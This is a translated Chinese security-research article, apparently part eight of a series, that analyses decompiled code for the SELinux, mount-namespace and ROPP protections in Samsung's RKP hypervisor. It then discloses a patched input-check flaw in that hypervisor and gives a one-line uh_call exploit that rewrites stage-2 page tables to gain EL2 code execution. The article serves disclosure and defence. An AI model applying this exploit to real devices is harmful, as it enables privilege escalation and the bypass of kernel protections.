三星手机内核防护技术RKP深度剖析(八)

 

在本系列文章中,我们将为读者深入讲解三星手机的内核防护技术。在上一篇文章中,我们为读者详细介绍了RKP内核保护机制是如何处理安全凭证的,在本文中,将继续为读者呈现更多精彩内容!

 

SELinux初始化

RKP同时也会为全局变量ss_initialized提供相应的保护,该变量被内核用来指示SELinux是否已经被初始化。内核会在security_load_policy函数中调用RKP将其设置为1,之所以这么做,可能是因为在之前的RKP绕过方法中,它被用来禁用SELinux。

int security_load_policy(void *data, size_t len)

{

// ...

uh_call(UH_APP_RKP, RKP_KDP_X60, (u64)&ss_initialized, 1, 0, 0);

// ...

}

在管理程序端,rkp_cmd_selinux_initialized函数将调用rkp_selinux_initialized函数。

int64_t rkp_cmd_selinux_initialized(saved_regs_t* regs) {

rkp_selinux_initialized(regs);

return 0;

}



void rkp_selinux_initialized(saved_regs_t* regs) {

// ...



ss_initialized_va = regs->x2;

value = regs->x3;

ss_initialized = rkp_get_pa(ss_initialized_va);

if (ss_initialized) {

if (ss_initialized_va < SRODATA || ss_initialized_va > ERODATA) {

rkp_policy_violation("RKP_ba9b5794 %lxRKP_69d2a377%lx, %lxRKP_ba5ec51d", ss_initialized_va);

} else if (ss_initialized == rkp_cred->SS_INITIALIZED_VA) {

if (value == 1) {

*ss_initialized = value;

uh_log('L', "rkp_kdp.c", 1199, "RKP_3a152688 %d", 1);

} else {

rkp_policy_violation("RKP_3ba4a93d");

}

} else if (ss_initialized == rkp_cred->SELINUX) {

if (value == 1 || *ss_initialized != 1) {

*ss_initialized = value;

uh_log('L', "rkp_kdp.c", 1212, "RKP_8df36e46 %d", value);

} else {

rkp_policy_violation("RKP_cef38ae5");

}

} else {

rkp_policy_violation("RKP_ced87e02");

}

} else {

uh_log('L', "rkp_kdp.c", 1181, "RKP_0a7ac3b1\n");

}

}

rkp_selinux_initialized将执行下列操作:

 

  1. 检查ss_initialized是否位于.rodata区段。
  2. 它只允许将其设置为1,否则会触发违规。

 

保护挂载命名空间

相关的内核结构体

与凭证类似,struct vfsmount也被分配到只读内存页面中。此外,这个结构体还具有一个新的字段,用于存储一个反向指针,该指针指向拥有该结构体的struct mount。

// from include/linux/mount.h

struct vfsmount {

// ...

struct mount *bp_mount; /* pointer to mount*/

// ...

} __randomize_layout;

对于每个SELinux hook,也会通过调用security_integrity_current对这个值进行相应的验证。

// from fs/namespace.c

extern u8 ns_prot;

unsigned int cmp_ns_integrity(void)

{

struct mount *root = NULL;

struct nsproxy *nsp = NULL;

int ret = 0;



if((in_interrupt()

|| in_softirq())){

return 0;

}

nsp = current->nsproxy;

if(!ns_prot || !nsp ||

!nsp->mnt_ns) {

return 0;

}

root = current->nsproxy->mnt_ns->root;

if(root != root->mnt->bp_mount){

printk("\n RKP44_3 Name Space Mismatch %p != %p\n nsp = %p mnt_ns %p\n",root,root->mnt->bp_mount,nsp,nsp->mnt_ns);

ret = 1;

}

return ret;

}



// from security/selinux/hooks.c

int security_integrity_current(void)

{

// ...

if ( rkp_cred_enable &&

// ...

cmp_ns_integrity())) {

// ...

}

// ...

}

我们可以看到,cmp_ns_integrity函数会检查反向指针是否有效。

命名空间初始化

当内核在fs/namespace.c的alloc_vfsmnt中分配一个新的挂载命名空间时,会对RKP进行调用,以初始化struct vfsmount的反向指针。

// from fs/namespace.c

void rkp_init_ns(struct vfsmount *vfsmnt,struct mount *mnt)

{

uh_call(UH_APP_RKP, RKP_KDP_X52, (u64)vfsmnt, (u64)mnt, 0, 0);

}



static int mnt_alloc_vfsmount(struct mount *mnt)

{

struct vfsmount *vfsmnt = NULL;



vfsmnt = kmem_cache_alloc(vfsmnt_cache, GFP_KERNEL);

if(!vfsmnt)

return 1;



spin_lock(&mnt_vfsmnt_lock);

rkp_init_ns(vfsmnt,mnt);

//vfsmnt->bp_mount = mnt;

mnt->mnt = vfsmnt;

spin_unlock(&mnt_vfsmnt_lock);

return 0;

}



static struct mount *alloc_vfsmnt(const char *name)

{

// ...

err = mnt_alloc_vfsmount(mnt);

if (err)

goto out_free_cache;

// ...

}

在管理程序端,rkp_cmd_init_ns函数将调用rkp_init_ns函数。

int64_t rkp_cmd_init_ns(saved_regs_t* regs) {

rkp_init_ns(regs);

return 0;

}



int64_t chk_invalid_ns(uint64_t vfsmnt) {

if (!vfsmnt || vfsmnt != vfsmnt / rkp_cred->NS_BUFF_SIZE * rkp_cred->NS_BUFF_SIZE)

return 1;

rkp_phys_map_lock(vfsmnt);

if (!is_phys_map_ns(vfsmnt)) {

uh_log('L', "rkp_kdp.c", 882, "Name space physmap verification failed !!!!! %lx", vfsmnt);

rkp_phys_map_unlock(vfsmnt);

return 1;

}

rkp_phys_map_unlock(vfsmnt);

return 0;

}



void rkp_init_ns(saved_regs_t* regs) {

// ...



vfsmnt = rkp_get_pa(regs->x2);

if (!chk_invalid_ns(vfsmnt)) {

memset(vfsmnt, 0, rkp_cred->NS_SIZE);

*(vfsmnt + 8 * rkp_cred->BPMNT_VFSMNT_OFFSET) = regs->x3;

}

}

其中,函数rkp_init_ns将调用chk_invalid_ns函数,检查struct vfsmount在physmap中是否被标记为NS,以及是否符合预期大小。如果符合,则使用memset函数对其进行处理,并将反向指针设置为所属的struct mount。

设置相关字段

为了设置struct vfsmount的相关字段,内核将再次调用RKP。

为此,将调用以下内核和管理程序函数:

在内核端,相关的函数如下所示:

// from fs/namespace.c

void rkp_set_mnt_root_sb(struct vfsmount *mnt,struct dentry *mnt_root,struct super_block *mnt_sb)

{

uh_call(UH_APP_RKP, RKP_KDP_X53, (u64)mnt, (u64)mnt_root, (u64)mnt_sb, 0);

}

void rkp_assign_mnt_flags(struct vfsmount *mnt,int flags)

{

uh_call(UH_APP_RKP, RKP_KDP_X54, (u64)mnt, (u64)flags, 0, 0);

}

void rkp_set_data(struct vfsmount *mnt,void *data)

{

uh_call(UH_APP_RKP, RKP_KDP_X55, (u64)mnt, (u64)data, 0, 0);

}

void rkp_set_mnt_flags(struct vfsmount *mnt,int flags)

{

int f = mnt->mnt_flags;

f |= flags;

rkp_assign_mnt_flags(mnt,f);

}



void rkp_reset_mnt_flags(struct vfsmount *mnt,int flags)

{

int f = mnt->mnt_flags;

f &= ~flags;

rkp_assign_mnt_flags(mnt,f);

}

在管理程序端,相关的函数如下所示:

int64_t rkp_cmd_ns_set_root_sb(saved_regs_t* regs) {

rkp_ns_set_root_sb(regs);

return 0;

}



void rkp_ns_set_root_sb(saved_regs_t* regs) {

// ...



vfsmnt = rkp_get_pa(regs->x2);

if (!chk_invalid_ns(vfsmnt)) {

*vfsmnt = regs->x3;

*(vfsmnt + 8 * rkp_cred->SB_VFSMNT_OFFSET) = regs->x4;

}

}



int64_t rkp_cmd_ns_set_flags(saved_regs_t* regs) {

rkp_ns_set_flags(regs);

return 0;

}



void rkp_ns_set_flags(saved_regs_t* regs) {

// ...



vfsmnt = rkp_get_pa(regs->x2);

if (!chk_invalid_ns(vfsmnt))

*(vfsmnt + 4 * rkp_cred->FLAGS_VFSMNT_OFFSET) = regs->x3;

}



int64_t rkp_cmd_ns_set_data(saved_regs_t* regs) {

rkp_ns_set_data(regs);

return 0;

}



void rkp_ns_set_data(saved_regs_t* regs) {

// ...



vfsmnt = rkp_get_pa(regs->x2);

if (!chk_invalid_ns(vfsmnt))

*(vfsmnt + 8 * rkp_cred->DATA_VFSMNT_OFFSET) = regs->x3;

}

每一个函数在设置其字段之前都会调用chk_invalid_ns函数来检查该结构体是否有效。

新建挂载点

最后一条命令是在创建一个新的挂载点时调用的,具体代码如下所示:

// from fs/namespace.c

#define KDP_MOUNT_ROOTFS "/root" //system-as-root

#define KDP_MOUNT_ROOTFS_LEN strlen(KDP_MOUNT_ROOTFS)



#define KDP_MOUNT_PRODUCT "/product"

#define KDP_MOUNT_PRODUCT_LEN strlen(KDP_MOUNT_PRODUCT)



#define KDP_MOUNT_SYSTEM "/system"

#define KDP_MOUNT_SYSTEM_LEN strlen(KDP_MOUNT_SYSTEM)



#define KDP_MOUNT_VENDOR "/vendor"

#define KDP_MOUNT_VENDOR_LEN strlen(KDP_MOUNT_VENDOR)



#define KDP_MOUNT_ART "/apex/com.android.runtime"

#define KDP_MOUNT_ART_LEN strlen(KDP_MOUNT_ART)



#define KDP_MOUNT_ART2 "/com.android.runtime@1"

#define KDP_MOUNT_ART2_LEN strlen(KDP_MOUNT_ART2)



#define ART_ALLOW 2



enum kdp_sb {

KDP_SB_ROOTFS = 0,

KDP_SB_ODM,

KDP_SB_SYS,

KDP_SB_VENDOR,

KDP_SB_ART,

KDP_SB_MAX

};



int art_count = 0;



static void rkp_populate_sb(char *mount_point, struct vfsmount *mnt)

{

if (!mount_point || !mnt)

return;



if (!odm_sb &&

!strncmp(mount_point, KDP_MOUNT_PRODUCT, KDP_MOUNT_PRODUCT_LEN)) {

uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&odm_sb, (u64)mnt, KDP_SB_ODM, 0);

} else if (!rootfs_sb &&

!strncmp(mount_point, KDP_MOUNT_ROOTFS, KDP_MOUNT_ROOTFS_LEN)) {

uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&rootfs_sb, (u64)mnt, KDP_SB_SYS, 0);

} else if (!sys_sb &&

!strncmp(mount_point, KDP_MOUNT_SYSTEM, KDP_MOUNT_SYSTEM_LEN)) {

uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&sys_sb, (u64)mnt, KDP_SB_SYS, 0);

} else if (!vendor_sb &&

!strncmp(mount_point, KDP_MOUNT_VENDOR, KDP_MOUNT_VENDOR_LEN)) {

uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&vendor_sb, (u64)mnt, KDP_SB_VENDOR, 0);

} else if (!art_sb &&

!strncmp(mount_point, KDP_MOUNT_ART, KDP_MOUNT_ART_LEN - 1)) {

uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&art_sb, (u64)mnt, KDP_SB_ART, 0);

} else if ((art_count < ART_ALLOW) &&

!strncmp(mount_point, KDP_MOUNT_ART2, KDP_MOUNT_ART2_LEN - 1)) {

if (art_count)

uh_call(UH_APP_RKP, RKP_KDP_X56, (u64)&art_sb, (u64)mnt, KDP_SB_ART, 0);

art_count++;

}

}



static int do_new_mount(struct path *path, const char *fstype, int sb_flags,

int mnt_flags, const char *name, void *data)

{

// ...

buf = kzalloc(PATH_MAX, GFP_KERNEL);

if (!buf){

kfree(buf);

return -ENOMEM;

}

dir_name = dentry_path_raw(path->dentry, buf, PATH_MAX);



if(!sys_sb || !odm_sb || !vendor_sb || !rootfs_sb || !art_sb || (art_count < ART_ALLOW))

rkp_populate_sb(dir_name,mnt);



kfree(buf);

// ...

}

之后,函数do_mount将调用do_new_mount函数,后者会继续调用rkp_populate_sb函数。这个函数将根据特定的路径检查挂载点的路径是否相符,然后调用RKP。

预定义路径包括:

/root

/product

/system

/vendor

/apex/com.android.runtime

/com.android.runtime@1

在管理程序端,rkp_cmd_ns_set_sys_vfsmnt函数将调用rkp_ns_set_sys_vfsmnt函数。

int64_t rkp_cmd_ns_set_sys_vfsmnt(saved_regs_t* regs) {

rkp_ns_set_sys_vfsmnt(regs);

return 0;

}



void* rkp_ns_set_sys_vfsmnt(saved_regs_t* regs) {

// ...



if (!rkp_cred) {

uh_log('W', "rkp_kdp.c", 931, "RKP_ae6cae81");

return;

}

art_sb = rkp_get_pa(regs->x2);

vfsmnt = rkp_get_pa(regs->x3);

mount_point = regs->x4;

if (!vfsmnt || chk_invalid_ns(vfsmnt) || mount_point >= KDP_SB_MAX) {

uh_log('L', "rkp_kdp.c", 945, "Invalidsource vfsmnt%lx %lx %lx\n", regs->x3, vfsmnt, mount_point);

return;

}

if (!art_sb) {

uh_log('L', "rkp_kdp.c", 956, "dst_sb is NULL %lx %lx %lx\n", regs->x2, 0, regs->x3);

return;

}

mnt_sb = *(vfsmnt + 8 * rkp_cred->SB_VFSMNT_OFFSET);

*art_sb = mnt_sb;

switch (mount_point) {

case KDP_SB_ROOTFS:

*rkp_cred->SB_ROOTFS = mnt_sb;

break;

case KDP_SB_ODM:

*rkp_cred->SB_ODM = mnt_sb;

break;

case KDP_SB_SYS:

*rkp_cred->SB_SYS = mnt_sb;

break;

case KDP_SB_VENDOR:

*rkp_cred->SB_VENDOR = mnt_sb;

break;

case KDP_SB_ART:

*rkp_cred->SB_ART = mnt_sb;

break;

}

}

函数rkp_ns_set_sys_vfsmnt将执行下列操作:

  1. 对参数进行相应的安全检查。
  2. 调用chk_invalid_ns函数,检查struct vfsmount是否有效。
  3. 将内核的某个全局变量设置为struct vfsmount的mnt_sb字段的值,这些变量可能是:
  4. odm_sb、rootfs_sb、sys_sb、vendor_sb或art_sb。
  5. 将某个结构体rkp_cred的一个字段设置为相同的值,这些字段可能是:
  6. SB_ROOTFS、SB_ODM、SB_SYS、SB_VENDOR或SB_ART。

 

可执行文件的加载

挂载命名空间保护机制完成的最后一项检查是由fs/exec.c中的flush_old_exec函数中完成的。这个函数将被load_elf_binary函数调用,之所以这么做,可能是为了防止call_usermodehelper被滥用,因为之前它曾被用于绕过RKP机制。

// from fs/exec.c

static int kdp_check_sb_mismatch(struct super_block *sb)

{

if(is_recovery || __check_verifiedboot) {

return 0;

}

if((sb != rootfs_sb) && (sb != sys_sb)

&& (sb != odm_sb) && (sb != vendor_sb) && (sb != art_sb)) {

return 1;

}

return 0;

}



static int invalid_drive(struct linux_binprm * bprm)

{

struct super_block *sb =NULL;

struct vfsmount *vfsmnt = NULL;



vfsmnt = bprm->file->f_path.mnt;

if(!vfsmnt ||

!rkp_ro_page((unsigned long)vfsmnt)) {

printk("\nInvalid Drive #%s# #%p#\n",bprm->filename, vfsmnt);

return 1;

}

sb = vfsmnt->mnt_sb;



if(kdp_check_sb_mismatch(sb)) {

printk("\n Superblock Mismatch #%s# vfsmnt #%p#sb #%p:%p:%p:%p:%p:%p#\n",

bprm->filename, vfsmnt, sb, rootfs_sb, sys_sb, odm_sb, vendor_sb, art_sb);

return 1;

}



return 0;

}

#define RKP_CRED_SYS_ID 1000



static int is_rkp_priv_task(void)

{

struct cred *cred = (struct cred *)current_cred();



if(cred->uid.val <= (uid_t)RKP_CRED_SYS_ID || cred->euid.val <= (uid_t)RKP_CRED_SYS_ID ||

cred->gid.val <= (gid_t)RKP_CRED_SYS_ID || cred->egid.val <= (gid_t)RKP_CRED_SYS_ID ){

return 1;

}

return 0;

}



int flush_old_exec(struct linux_binprm * bprm)

{

// ...

if(rkp_cred_enable &&

is_rkp_priv_task() &&

invalid_drive(bprm)) {

panic("\n KDP_NS_PROT: Illegal Execution of file #%s#\n", bprm->filename);

}

// ...

}

之后,函数flush_old_exec将会调用is_rkp_priv_task函数,检查请求执行二进制的任务是否具有合适的权限(ID < 1000)。如果具有相应的权限的话,则调用invalid_drive函数,对二进制文件的挂载点进行相应的检查。

函数invalid_drive检查挂载点结构是否受RKP保护(必须是只读的)。如果设备不是在恢复模式下运行,也没有被解锁,则检查它是否位于预定义路径列表中。

 

JOPP/ROPP命令

我们前面说过,ROPP只在高端骁龙设备上启用。所以,在这一小节中,我们将关注Snapdragon设备的内核源码和RKP二进制代码。

我们知道,S-Boot/引导加载器很有可能会调用函数rkp_cmd_jopp_init和rkp_cmd_ropp_init。

int64_t rkp_cmd_jopp_init() {

uh_log('L', "rkp.c", 502, "CFP JOPP Enabled");

return 0;

}



int64_t rkp_cmd_ropp_init(saved_regs_t* regs) {

// ...



something = virt_to_phys_el1(regs->x2);

if (*something == 0x4A4C4955) {

memcpy(0xB0240020, something, 80);

if (MEMORY[0x80001000] == 0xCDEFCDEF)

memcpy(0x80001020, something, 80);

uh_log('L', "rkp.c", 529, "CFP ROPP Enabled");

} else {

uh_log('W', "rkp.c", 515, "RKP_e08bc280");

}

return 0;

}

实际上,函数rkp_cmd_jopp_init基本上什么都没做。而函数rkp_cmd_ropp_init则检查作为参数的结构体是否以它所期望的魔术值 (0x4A4C4955) 开头。如果是,则将其复制到0xB0240020处。如果在0x80001000处的内存与另一个魔术值(0xCDEFCDEF)匹配,则还会将结构体内容复制到0x80001020处。

另外,函数rkp_cmd_ropp_save可能是由S-Boot/引导加载器调用的,而函数rkp_cmd_ropp_reload则是由arch/arm64/kernel/head.S的__secondary_switched中的内核代码调用的。

// from arch/arm64/include/asm/rkp_cfp.h

/*

* secondary core will start a forked thread, so rrk is already enc'ed

* so only need to reload the master key and thread key

*/

.macro ropp_secondary_init ti

reset_sysreg

//load master key from rkp

ropp_load_mk

//load thread key

ropp_load_key \ti

.endm



.macro ropp_load_mk

#ifdef CONFIG_UH

pushx0, x1

pushx2, x3

pushx4, x5

mov x1, #0x10 //RKP_ROPP_RELOAD

mov x0, #0xc002 //UH_APP_RKP

movkx0, #0xc300, lsl #16

smc #0x0

pop x4, x5

pop x2, x3

pop x0, x1

#else

pushx0, x1

ldr x0, = ropp_master_key

ldr x0, [x0]

msr RRMK, x0

pop x0, x1

#endif

.endm



// from arch/arm64/kernel/head.S

__secondary_switched:

// ...

ropp_secondary_init x2

// ...

ENDPROC(__secondary_switched)



int64_t rkp_cmd_ropp_save() {

return 0;

}



int64_t rkp_cmd_ropp_reload() {

set_dbgbvr5_el1(MEMORY[0xB0240028]);

return 0;

}

rkp_cmd_ropp_save函数实际上没有做任何事情,而函数rkp_cmd_ropp_reload则只是简单地将DBGBVR5_EL1(存放RRMK的系统寄存器,即主密钥)设置为 0xB0240028处的值。

 

漏洞简介

在本节中,我们将介绍一个现已修复的漏洞,攻击者可以利用该漏洞在EL2上运行代码。我们将在Exynos设备上利用这个漏洞,但该方法应该也适用于Snapdragon设备。

以下是我们正在研究的二进制文件的一些信息:

  1. Exynos设备:Samsung A51 (SM-A515F)
  2. 固件版本:A515FXXU3BTF4
  3. 管理程序版本:2020年2月27日
  4. Snapdragon设备:Samsung Galaxy S10 (SM-G973U)
  5. 固件版本:G973USQU4ETH7
  6. 管理程序版本:2020年2月25日

 

漏洞分析

您可能注意到,有两个重要函数我们还没有详细说明:uh_log和rkp_get_pa。

int64_t uh_log(char level, const char* filename, uint32_t linenum, const char* message, ...) {

// ...



// ...

if (level == 'D')

uh_panic();

return res;

}

函数uh_log除了完成一些相当标准的字符串格式化和打印操作外,还能处理其他一些事情。如果作为第一个参数给出的日志级别是“D”,那么它还会调用uh_panic函数。这一点稍后会变得非常重要。

现在让我们来看看rkp_get_pa(许多命令处理程序都会调用它,以对内核输入进行相应的检查):

int64_t rkp_get_pa(uint64_t vaddr) {

// ...



if (!vaddr)

return 0;

if (vaddr < 0xFFFFFFC000000000) {

paddr = virt_to_phys_el1(vaddr);

if (!paddr) {

if ((vaddr & 0x4000000000) != 0)

paddr = PHYS_OFFSET + (vaddr & 0x3FFFFFFFFF);

else

paddr = vaddr - KIMAGE_VOFFSET;

}

} else {

paddr = PHYS_OFFSET + (vaddr & 0x3FFFFFFFFF);

}

check_kernel_input(paddr);

return paddr;

}

如果地址不在fixmap区域中,它将调用virt_to_phys_el1函数。如果转换失败,它将利用kimage_voffset计算该地址。相反,如果地址位于fixmap区域中,它将利用phys_offset计算该地址。最后,它会调用check_kernel_input函数,检查是否允许使用这个地址。

int64_t virt_to_phys_el1(int64_t vaddr) {

// ...



if (vaddr) {

at_s12e1r(vaddr);

par_el1 = get_par_el1();

if ((par_el1 & 1) != 0) {

at_s12e1w(vaddr);

par_el1 = get_par_el1();

}

if ((par_el1 & 1) != 0) {

if ((get_sctlr_el1() & 1) != 0) {

uh_log('W', "general.c", 128, "%s: wrong address %p", "virt_to_phys_el1", vaddr);

if (!has_printed_stack_contents) {

has_printed_stack_contents = 1;

print_stack_contents();

}

has_printed_stack_contents = 0;

}

vaddr = 0;

} else {

vaddr = par_el1 & 0xFFFFFFFFF000 | vaddr & 0xFFF;

}

}

return vaddr;

}

virt_to_phys_el1使用AT S12E1R(EL1中的第1和2阶段的读权限)和AT S12E1W(EL1中的第1和2阶段的些权限)来获取物理地址。如果失败,而MMU又被启用,它将打印输出堆栈中的内容。

int64_t check_kernel_input(uint64_t paddr) {

// ...



res = memlist_contains_addr(&protected_ranges, paddr);

if (res)

res = uh_log('L', "pa_restrict.c", 94, "Error kernel input falls into uH range, pa_from_kernel : %lx", paddr);

return res;

}

函数check_kernel_input将检查protected_ranges memlist中是否包含下面所示的物理地址:

  1. 0x87000000-0x87200000 (uH区段) ,这是在pa_restrict_init函数中添加的。
  2. physmap的所有bitmap,这是在init_cmd_initialize_dynamic_heap函数中添加的。

也就是说,它会检查我们是否试图提供一个位于uH内存区域中的地址,但如果检查失败,它就会调用uh_log函数,并以“L”作为第一个参数。从uh_log函数返回后,会继续执行,就像什么也没发生过一样。然而,这个简单的漏洞的影响却是非常巨大的:我们可以给所有命令处理程序提供管理程序内存中的地址。

 

漏洞利用方法

利用这个漏洞的方法非常简单,只要用正确的参数调用其中一个命令处理程序即可。例如,我们可以使用命令#5(名为RKP_CMD_WRITE_PGT3),因为它将调用我们前面看到的rkp_l3pgt_write函数。现在,我们只需要确定要写入的内容,以及写到哪里就可以了。

在我们的单行exploit中,我们的目标是第2阶段页表,并添加一个跨越管理程序内存区域的2级块描述符。通过将S2AP位设置为0b11,该内存区域就变为可写的,此外,由于s1_enable中设置的WXN位只适用于EL2中的AT,我们可以随意修改管理程序的代码。

下面是这个exploit的全貌:

uh_call(UH_APP_RKP, RKP_CMD_WRITE_PGT3, 0xffffffc00702a1c0, 0x870004fd);

 

安全补丁

我们注意到,2020年5月27号之后构建的二进制文件中包含了针对该漏洞的补丁,但我们不知道是个人披露的还是内部发现的。它适用于使用Exynos和Snapdragon芯片组的设备。

让我们来看看我们的研究设备可用的最新固件更新,看看有哪些变化。

int64_t check_kernel_input(uint64_t paddr) {

// ...



res = memlist_contains_addr(&protected_ranges, paddr);

if (res) {

uh_log('L', "pa_restrict.c", 94, "Error kernel input falls into uH range, pa_from_kernel : %lx", paddr);

uh_log('D', "pa_restrict.c", 96, "Error kernel input falls into uH range, pa_from_kernel : %lx", paddr);

}

return res;

}

有趣的是,它们不是简单地更改日志级别,而是重复调用uh_log。虽然这种做法很奇怪,但至少管用了。我们还注意到,它们还在rkp_get_pa中添加了一些额外的检查:

int64_t rkp_get_pa(uint64_t vaddr) {

// ...



if (!vaddr)

return 0;

if (vaddr < 0xFFFFFFC000000000) {

paddr = virt_to_phys_el1(vaddr);

if (!paddr) {

if ((vaddr & 0x4000000000) != 0)

paddr = PHYS_OFFSET + (vaddr & 0x3FFFFFFFFF);

else

paddr = vaddr - KIMAGE_VOFFSET;

}

} else {

paddr = PHYS_OFFSET + (vaddr & 0x3FFFFFFFFF);

}

check_kernel_input(paddr);

if (!memlist_contains_addr(&uh_state.dynamic_regions, paddr)) {

uh_log('L', "rkp_paging.c", 70, "RKP_68592c58 %lx", paddr);

uh_log('D', "rkp_paging.c", 71, "RKP_68592c58 %lx", paddr);

}

return paddr;

}

 

小结

我们来回顾一下三星RKP提供的各种保护措施:

页表不能被内核直接修改。

在EL1中,对虚拟内存系统寄存器的访问会被捕获。

页表在第2级地址转换中被设置为只读。

第3级表除外,但在这种情况下,PXNTable位被设置。

双重映射被防止,但检查只由内核完成。

仍然不能使内核的text区段变为可读写的,或让新建的区段变为可执行的。

敏感的内核全局变量被移到.rodata区段(只读)。

敏感的内核数据结构(cred、task_security_struct、vfsmount)因为三星对SLUB分配器的修改而被分配在只读页面。

在各种操作中,会检查正在运行的任务的凭证。

非系统权限的任务不能直接赋予系统或root权限。

可以设置task_struct的cred字段。

但下一个操作(如执行shell)将触发违规。

凭证也会被计算引用次数,以防止它们被另一个任务重复使用。

不可能在特定挂载点之外以root身份执行二进制文件。

在Snapdragon设备上,RKP也会启用ROPP。

通过这次对RKP的深入研究,我们已经看到,安全管理程序可以像其他深度防御机制一样,通过增加攻击者在内核中获得读写权限的难度来帮助保护内核。但对于这种庞大的工程来说,在实现过程中很难避免不会出错。

关于RKP机制,仍有很多东西在本文中没有谈到,但是,我们打算专门写一篇文章进行介绍。在将来的文章中,我们将为读者讲解目前尚不能公开的、未修补的漏洞,更详细地解释Exynos和Snapdragon实现的差异,深入考察S20的新框架和特性,等等。

 

参考资料

Lifting the (Hyper) Visor: Bypassing Samsung’s Real-Time Kernel Protection

Samsung: RKP Memory Corruption in “rkp_mark_adbd”

Samsung: RKP Memory Corruption in “cfp_ropp_new_key_reenc” and “cfp_ropp_new_key”

Samsung: RKP privilege escalation via unprotected MSRs in EL1 to memory management control registers

Samsung: RKP EL1 Code Loading Bypass

Samsung: RKP information disclosure via s2-remapping physical ranges

Samsung: RKP Memory Corruption via “rkp_set_init_page_ro”

Samsung: RKP kernel protection bypass via lack of MSR trapping on Qualcomm devices

Hypervisor Necromancy; Reanimating Kernel Protectors

Emulating Hypervisors: A Samsung RKP Case Study

Defeating Samsung KNOX with zero privilege

New Reliable Android Kernel Root Exploitation

KNOX Kernel Mitigation Bypasses

(完)